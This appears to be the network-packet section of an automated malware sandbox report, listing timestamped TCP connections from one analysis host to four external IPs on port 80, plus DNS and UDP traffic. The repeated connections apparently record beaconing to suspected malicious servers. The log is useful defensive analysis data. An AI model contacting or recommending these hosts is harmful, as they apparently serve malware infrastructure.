                                                          Jul 5, 2024 08:03:50.017673969 CEST4999080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:50.018421888 CEST4999580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:50.025768042 CEST804999478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:03:50.025856018 CEST4999480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:50.026884079 CEST804999537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:50.747838020 CEST804999537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:50.747989893 CEST4999580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:51.212174892 CEST4999580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:51.212517023 CEST4999680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:51.217412949 CEST804999637.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:51.217437029 CEST804999537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:51.217474937 CEST4999680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:51.217500925 CEST4999580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:51.219665051 CEST4999680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:51.224699974 CEST804999637.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:51.964699984 CEST804999637.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:51.964770079 CEST4999680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:52.111203909 CEST4999780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:52.117665052 CEST804999754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:52.117891073 CEST4999780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:52.117934942 CEST4999780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:52.122793913 CEST804999754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:52.863224983 CEST804999754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:52.863332987 CEST4999780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:52.863796949 CEST804999754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:52.864043951 CEST4999780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:52.864470959 CEST4999780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:52.869649887 CEST804999754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:52.869698048 CEST4999880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:52.874710083 CEST804999844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:52.875041008 CEST4999880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:52.875081062 CEST4999880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:52.880023956 CEST804999844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:53.361867905 CEST804999844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:53.362405062 CEST804999844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:53.370151997 CEST4999880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:53.520339012 CEST4999880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:53.525243998 CEST804999844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:54.066545963 CEST4999980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:54.079468012 CEST804999944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:54.079540014 CEST4999980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:54.079675913 CEST4999980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:54.088622093 CEST804999944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:54.578479052 CEST804999944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:54.578504086 CEST804999944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:54.578557968 CEST4999980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:54.579977989 CEST4999980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:54.584841013 CEST804999944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:54.591072083 CEST5000080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:54.595995903 CEST805000078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:03:54.596091032 CEST5000080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:54.596306086 CEST5000080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:54.604706049 CEST805000078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:03:55.263046980 CEST805000078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:03:55.263166904 CEST5000080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:55.318742990 CEST4999680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:55.318756104 CEST5000180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:55.323787928 CEST805000137.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:55.323937893 CEST5000180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:55.323987007 CEST804999637.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:55.324071884 CEST4999680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:55.324330091 CEST5000180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:55.329078913 CEST805000137.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:56.051323891 CEST805000137.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:56.051383972 CEST5000180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:56.057450056 CEST5000180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:56.058444977 CEST5000280192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:56.060614109 CEST5000080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:56.062659025 CEST805000137.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:56.062817097 CEST5000180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:56.063242912 CEST805000237.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:56.063333988 CEST5000280192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:56.064836025 CEST5000280192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:56.065963984 CEST805000078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:03:56.066210032 CEST5000080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:56.070791960 CEST805000237.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:56.778301954 CEST805000237.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:56.779484034 CEST5000280192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:56.941514015 CEST5000380192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:56.946489096 CEST805000354.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:56.946739912 CEST5000380192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:56.946739912 CEST5000380192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:56.951877117 CEST805000354.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:57.671866894 CEST805000354.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:57.671936035 CEST805000354.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:57.672053099 CEST5000380192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:57.672921896 CEST5000380192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:03:57.675271988 CEST5000480192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:57.680241108 CEST805000354.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:03:57.680486917 CEST805000444.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:57.680577993 CEST5000480192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:57.680694103 CEST5000480192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:57.685482979 CEST805000444.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.176188946 CEST805000444.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.176245928 CEST5000480192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:58.176775932 CEST805000444.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.176822901 CEST5000480192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:58.177978039 CEST5000480192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:58.183279991 CEST805000444.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.187187910 CEST5000580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:58.192722082 CEST805000544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.195837975 CEST5000580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:58.195981026 CEST5000580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:58.201263905 CEST805000544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.703152895 CEST805000544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.703305006 CEST805000544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.703423023 CEST5000580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:58.704536915 CEST5000580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:03:58.707844973 CEST5000680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:58.709467888 CEST805000544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:03:58.712764978 CEST805000678.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:03:58.712862015 CEST5000680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:58.713788033 CEST5000680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:58.718888998 CEST805000678.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:03:59.370876074 CEST805000678.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:03:59.371016979 CEST5000680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:03:59.400549889 CEST5000280192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:59.401535034 CEST5000780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:59.405793905 CEST805000237.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:59.405963898 CEST5000280192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:59.406363010 CEST805000737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:03:59.406408072 CEST5000780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:59.407716036 CEST5000780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:03:59.412940979 CEST805000737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:00.596426010 CEST805000737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:00.596503019 CEST5000780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:00.596534014 CEST805000737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:00.596666098 CEST5000780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:00.596693039 CEST805000737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:00.596736908 CEST5000780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:00.599267006 CEST5000780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:00.599848986 CEST5000880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:00.604825020 CEST805000837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:00.604882956 CEST805000737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:00.604952097 CEST5000880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:00.604952097 CEST5000780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:00.605401993 CEST5000880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:00.611064911 CEST805000837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:01.333313942 CEST805000837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:01.333412886 CEST5000880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:01.481782913 CEST5000980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:01.486690044 CEST805000954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:01.486809969 CEST5000980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:01.487780094 CEST5000980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:01.493051052 CEST805000954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:02.221472979 CEST805000954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:02.221597910 CEST805000954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:02.221674919 CEST5000980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:02.301054001 CEST5000980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:02.307121038 CEST805000954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:02.387502909 CEST5001080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.392546892 CEST805001044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:02.392741919 CEST5001080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.396102905 CEST5001080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.401149988 CEST805001044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:02.912272930 CEST805001044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:02.912339926 CEST5001080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.912461042 CEST805001044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:02.912534952 CEST5001080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.915535927 CEST5001080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.920507908 CEST805001044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:02.943556070 CEST5001180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.949383974 CEST805001144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:02.949476957 CEST5001180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.950491905 CEST5001180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:02.950596094 CEST5000680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:02.950632095 CEST5000880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:02.956130028 CEST805001144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:02.958936930 CEST805000678.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:02.958992958 CEST805000837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:02.959024906 CEST5000680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:02.959112883 CEST5000880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:03.455185890 CEST805001144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:03.455208063 CEST805001144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:03.455279112 CEST5001180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:03.455279112 CEST5001180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:03.475362062 CEST5001180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:03.480159998 CEST805001144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:03.548861980 CEST5001280192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:03.554565907 CEST805001278.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:03.554658890 CEST5001280192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:03.554852009 CEST5001280192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:03.561286926 CEST805001278.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:04.212093115 CEST805001278.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:04.212328911 CEST5001280192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:04.229312897 CEST5001380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.234278917 CEST805001337.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:04.234364986 CEST5001380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.234554052 CEST5001380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.240554094 CEST805001337.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:04.973596096 CEST805001337.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:04.973712921 CEST5001380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.975419044 CEST5001380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.976089001 CEST5001480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.984946966 CEST805001437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:04.985136986 CEST5001480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.985498905 CEST5001480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.985676050 CEST805001337.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:04.985770941 CEST5001380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:04.990740061 CEST805001437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:05.717200994 CEST805001437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:05.717278004 CEST5001480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:05.850948095 CEST5001580192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:05.855915070 CEST805001554.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:05.856720924 CEST5001580192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:05.856828928 CEST5001580192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:05.861670971 CEST805001554.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:06.604020119 CEST805001554.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:06.604043007 CEST805001554.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:06.604099035 CEST5001580192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:06.604099035 CEST5001580192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:06.637761116 CEST5001580192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:06.642647028 CEST805001554.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:06.916033983 CEST5001680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:06.961622000 CEST805001644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:06.966449976 CEST5001680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:07.014014006 CEST5001680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:07.018870115 CEST805001644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:07.460051060 CEST805001644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:07.460203886 CEST805001644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:07.460721970 CEST5001680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:07.463516951 CEST5001680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:07.468225956 CEST805001644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:07.482791901 CEST5001780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:07.487688065 CEST805001744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:07.487994909 CEST5001780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:07.491472960 CEST5001780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:07.496583939 CEST805001744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:08.001017094 CEST805001744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:08.001040936 CEST805001744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:08.001071930 CEST5001780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:08.001122952 CEST5001780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:08.005402088 CEST5001780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:08.012396097 CEST805001744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:08.013159037 CEST5001280192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:08.013711929 CEST5001880192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:08.018311024 CEST805001278.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:08.018369913 CEST5001280192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:08.019025087 CEST805001878.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:08.019083977 CEST5001880192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:08.019459009 CEST5001880192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:08.025999069 CEST805001878.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:08.691775084 CEST805001878.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:08.696044922 CEST5001880192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:08.731293917 CEST5001480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:08.731581926 CEST5001980192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:08.736516953 CEST805001437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:08.736712933 CEST805001937.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:08.736717939 CEST5001480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:08.736840010 CEST5001980192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:08.737626076 CEST5001980192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:08.742407084 CEST805001937.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:09.448954105 CEST805001937.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:09.454044104 CEST5001980192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:10.158526897 CEST5001980192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:10.159198999 CEST5002080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:10.164225101 CEST805001937.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:10.164290905 CEST5001980192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:10.164360046 CEST805002037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:10.164441109 CEST5002080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:10.170350075 CEST5002080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:10.175266027 CEST805002037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:10.881994009 CEST805002037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:10.882080078 CEST5002080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:11.183793068 CEST5002180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:11.188663960 CEST805002154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:11.188796043 CEST5002180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:11.191839933 CEST5002180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:11.196738958 CEST805002154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:11.916286945 CEST805002154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:11.916310072 CEST805002154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:11.916349888 CEST5002180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:11.916402102 CEST5002180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:11.918165922 CEST5002180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:04:11.923051119 CEST805002154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:04:11.932950020 CEST5002280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:11.937809944 CEST805002244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:11.937881947 CEST5002280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:11.938903093 CEST5002280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:11.943732023 CEST805002244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:12.450650930 CEST5002080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:12.450686932 CEST5001880192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:12.456922054 CEST805002037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:04:12.456939936 CEST805001878.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:04:12.456979990 CEST5002080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:04:12.457004070 CEST5001880192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:04:12.457557917 CEST805002244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:12.457612038 CEST5002280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:12.457890987 CEST805002244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:12.457962036 CEST5002280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:12.458720922 CEST5002280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:12.463570118 CEST805002244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:12.492686033 CEST5002380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:12.497503996 CEST805002344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:12.497591019 CEST5002380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:12.497729063 CEST5002380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:12.502433062 CEST805002344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:13.017158031 CEST805002344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:13.017185926 CEST805002344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:04:13.017255068 CEST5002380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:04:13.017255068 CEST5002380192.168.2.744.221.84.105

                                                          UDP Packets

                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Jul 5, 2024 08:00:06.091464043 CEST507149832192.168.2.785.17.167.196
                                                          Jul 5, 2024 08:00:06.934624910 CEST5072553192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:06.945010900 CEST53507251.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:07.193887949 CEST4927453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:07.393573999 CEST53492741.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:07.553580999 CEST5276453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:07.748579979 CEST53527641.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:08.661057949 CEST5320453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:08.761212111 CEST53532041.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:09.302329063 CEST5118453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:09.333863020 CEST53511841.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:09.422202110 CEST5992353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:09.621656895 CEST53599231.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:10.619453907 CEST5221753192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:10.638885975 CEST53522171.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:11.380954027 CEST5251853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:11.392087936 CEST53525181.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:11.504194021 CEST6338053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:11.512454033 CEST53633801.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:13.460506916 CEST5097953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:13.471070051 CEST53509791.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:14.729729891 CEST6401653192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:14.764115095 CEST53640161.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:20.556289911 CEST5002453192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:20.564910889 CEST53500241.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:24.782612085 CEST5283353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:24.799566984 CEST53528331.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:26.496519089 CEST5946853192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:26.510029078 CEST53594681.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:27.785792112 CEST5998953192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:27.793600082 CEST53599891.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:33.076734066 CEST5311553192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:33.096426964 CEST53531151.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:34.376909018 CEST5232053192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:34.386950970 CEST53523201.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:35.714098930 CEST5821153192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:35.733424902 CEST53582111.1.1.1192.168.2.7
                                                          Jul 5, 2024 08:00:40.911403894 CEST6069353192.168.2.71.1.1.1
                                                          Jul 5, 2024 08:00:40.919006109 CEST53606931.1.1.1192.168.2.7
